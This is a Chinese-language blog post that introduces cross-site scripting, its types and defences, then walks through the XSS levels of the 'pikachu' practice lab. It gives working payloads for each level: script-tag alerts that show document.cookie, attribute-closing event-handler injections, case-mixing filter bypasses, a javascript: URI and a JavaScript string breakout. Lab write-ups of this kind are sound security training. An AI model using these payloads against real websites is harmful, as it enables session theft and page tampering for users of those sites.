pikachu_xss benben Posted on Apr 28 2024 Web ### 什么是XSS: **XSS(跨站脚本攻击,Cross-Site Scripting)**是一种常见的网络安全漏洞,它允许恶意用户将客户端脚本注入到网页中,使其在用户浏览器中执行。XSS 攻击通常通过将恶意脚本代码插入到网页中的输入数据中来实现,例如用户提交的表单数据、URL 参数或网页中的动态内容。 ### XSS 攻击通常分为以下三种类型: 1. **存储型 XSS(Stored XSS)**:也称为持久型 XSS,是最危险的一种类型。攻击者将恶意脚本上传到目标网站的服务器,例如存储在数据库中的用户评论、留言板或论坛帖子中。当其他用户访问包含恶意脚本的页面时,这些脚本会从服务器端加载并在用户浏览器中执行,导致攻击发生。 2. **反射型 XSS(Reflected XSS)**:也称为非持久型 XSS,攻击者将恶意脚本作为参数包含在 URL 中,发送给目标用户。当用户点击包含恶意脚本的链接时,参数会被发送到服务器,服务器将恶意脚本反射回给用户,最终在用户浏览器中执行。 3. **DOM 型 XSS(DOM-based XSS)**:这种类型的 XSS 不涉及服务器的参与。攻击者利用客户端的漏洞,修改页面的 DOM(文档对象模型),从而执行恶意脚本。例如,通过修改 URL 中的参数或直接修改页面的 JavaScript 代码来触发 XSS 攻击。 ### XSS 攻击的危害包括但不限于: - 窃取用户的敏感信息,如 cookies、会话令牌等。 - 劫持用户的会话,执行恶意操作,例如在用户不知情的情况下发起恶意请求。 - 修改网页内容,包括但不限于篡改页面、重定向用户到恶意网站等。 ### 防御 XSS 攻击的方法包括: - **输入验证和过滤**:对所有用户输入的数据进行严格的验证和过滤,移除或转义可能包含恶意代码的特殊字符。 - **输出转义**:在将用户输入或其他动态内容输出到网页时,使用适当的转义函数(如 `htmlspecialchars()`)对特殊字符进行转义,防止其被解释为 HTML 或 JavaScript 代码。 - **内容安全策略(Content Security Policy,CSP)**:通过 CSP 配置,限制网页中可以执行的脚本来源和内容,减少 XSS 攻击的可能性。 - **使用安全框架和库**:使用安全性较高的开发框架和库,例如在前端使用 React、Angular 等框架,后端使用带有防御 XSS 功能的框架和 ORM 库。 --- ### pikachu关卡 1. 反射型xss(get)  修改maxlength的值 ``` <script>alert('xss')</script> ``` 2. 反射型xss(post) ``` <script>alert(document.cookie)</script> ``` 3. 存储型xss ``` <script>alert(document.cookie)</script> ``` 4. DOM型xss F12查看 ``` <script> function domxss(){ var str = document.getElementById("text").value; document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; } //试试:'><img src="#" onmouseover="alert('xss')"> //试试:' onclick="alert('xss')">,闭合掉就行 </script> ``` 只要将标签闭合才能通关 5. DOM型xss-x ``` <script> function domxss(){ var str = window.location.search;// 获取当前页面 URL 中的查询参数部分 var txss = decodeURIComponent(str.split("text=")[1]);// 解码 URL,并从中提取名为 "text" 的参数值 var xss = txss.replace(/\+/g,' ');// 将查询参数中的加号替换为空格 // alert(xss); document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>"; } //试试:'><img src="#" onmouseover="alert('xss')"> //试试:' onclick="alert('xss')">,闭合掉就行 </script> ``` 6. xss之盲打 无法直接获取到脚本执行的结果(例如无法直接弹出警告框或访问敏感信息),需要通过其他方式间接确认攻击是否成功。 点击提示后可发现后台登录页面 在输入框里输入内容  在后台登录即可触发xss 7. xss之过滤 ``` <img src="#" onmouseover="alert('xss')"> <SCRIPT>alert(/xss/)</sCRIpt> //大小写绕过 <img src=x onmouseover="alert(/xss/)"> <img src=x onerror="alert(/xss/)"> ``` 8. xss之htmlspecialchars htmlspecialchars()函数将特殊字符转换为对应的 HTML 实体,以确保这些字符在网页中显示时不会被解释为 HTML 标签或 JavaScript 代码,而只会显示为普通文本。 ``` & 转换为 & < 转换为 < > 转换为 > " 转换为 " ' 转换为 ' ``` 测试发现单引号没有被过滤 ``` #' onclick='alert(/xss/) #' onclick='alert(111)' ``` 9. xss之href输出 可以使用javascript协议来执行js ``` javascript:alert(123) ``` 10. xss之js输出 ``` <script> $ms='s'; if($ms.length != 0){ if($ms == 'tmac'){ $('#fromjs').text('tmac确实厉害,看那小眼神..') }else { // alert($ms); $('#fromjs').text('无论如何不要放弃心中所爱..') } } </script> ``` 我们的输入被带入到js中,尝试进行闭合 ``` ';alert(666);// ``` 赠人玫瑰,手留余香 赏 Wechat Pay Alipay csrf 考试(临时)